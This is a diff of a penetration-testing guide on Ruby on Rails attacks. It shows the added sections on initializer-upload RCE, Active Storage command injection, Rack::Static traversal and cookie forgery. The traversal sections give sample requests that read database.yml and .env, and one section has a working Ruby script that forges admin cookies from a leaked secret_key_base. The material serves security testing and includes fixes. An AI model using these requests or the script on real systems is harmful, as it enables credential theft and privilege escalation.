|
6 | 6 |
|
7 | 7 | As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
8 | 8 |
|
9 |
| -{{#include ../../banners/hacktricks-training.md}} |
| 9 | +Tips: |
| 10 | +- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot. |
| 11 | +- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot. |
| 12 | + |
| 13 | +## Active Storage image transformation → command execution (CVE-2025-24293) |
| 14 | + |
| 15 | +When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default. |
| 16 | + |
| 17 | +- A vulnerable pattern looks like: |
| 18 | + ```erb |
| 19 | + <%= image_tag blob.variant(params[:t] => params[:v]) %> |
| 20 | + ``` |
| 21 | + where `params[:t]` and/or `params[:v]` are attacker-controlled. |
| 22 | + |
| 23 | +- What to try during testing |
| 24 | + - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. |
| 25 | + - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. |
| 26 | + - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. |
| 27 | + |
| 28 | +- Remediation/detections |
| 29 | + - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. |
| 30 | + |
| 31 | +## Rack::Static LFI / path traversal (CVE-2025-27610) |
| 32 | + |
| 33 | +If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root. |
| 34 | + |
| 35 | +- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: |
| 36 | + ```text |
| 37 | + GET /assets/%2e%2e/%2e%2e/config/database.yml |
| 38 | + GET /favicon.ico/..%2f..%2f.env |
| 39 | + ``` |
| 40 | + Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. |
| 41 | + |
| 42 | +- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. |
| 43 | + |
| 44 | +## Forging/decrypting Rails cookies when `secret_key_base` is leaked |
10 | 45 |
|
| 46 | +Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. |
11 | 47 |
|
| 48 | +Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): |
| 49 | +```ruby |
| 50 | +require 'cgi' |
| 51 | +require 'json' |
| 52 | +require 'active_support' |
| 53 | +require 'active_support/message_encryptor' |
| 54 | +require 'active_support/key_generator' |
12 | 55 |
|
| 56 | +secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') |
| 57 | +raw_cookie = CGI.unescape(ARGV[0]) |
| 58 | + |
| 59 | +salt = 'authenticated encrypted cookie' |
| 60 | +cipher = 'aes-256-gcm' |
| 61 | +key_len = ActiveSupport::MessageEncryptor.key_len(cipher) |
| 62 | +secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) |
| 63 | +enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) |
| 64 | + |
| 65 | +plain = enc.decrypt_and_verify(raw_cookie) |
| 66 | +puts "Decrypted: #{plain.inspect}" |
| 67 | + |
| 68 | +# Modify and re-encrypt (example: escalate role) |
| 69 | +plain['role'] = 'admin' if plain.is_a?(Hash) |
| 70 | +forged = enc.encrypt_and_sign(plain) |
| 71 | +puts "Forged cookie: #{CGI.escape(forged)}" |
| 72 | +``` |
| 73 | +Notes: |
| 74 | +- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. |
| 75 | +- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies. |
| 76 | + |
| 77 | +## See also (Ruby/Rails-specific vulns) |
| 78 | + |
| 79 | +- Ruby deserialization and class pollution: |
| 80 | + {{#ref}} |
| 81 | + ../../pentesting-web/deserialization/README.md |
| 82 | + {{#endref}} |
| 83 | + {{#ref}} |
| 84 | + ../../pentesting-web/deserialization/ruby-class-pollution.md |
| 85 | + {{#endref}} |
| 86 | + {{#ref}} |
| 87 | + ../../pentesting-web/deserialization/ruby-_json-pollution.md |
| 88 | + {{#endref}} |
| 89 | +- Template injection in Ruby engines (ERB/Haml/Slim, etc.): |
| 90 | + {{#ref}} |
| 91 | + ../../pentesting-web/ssti-server-side-template-injection/README.md |
| 92 | + {{#endref}} |
| 93 | + |
| 94 | + |
| 95 | + |
| 96 | +## References |
| 97 | + |
| 98 | +- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 |
| 99 | +- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v |
| 100 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments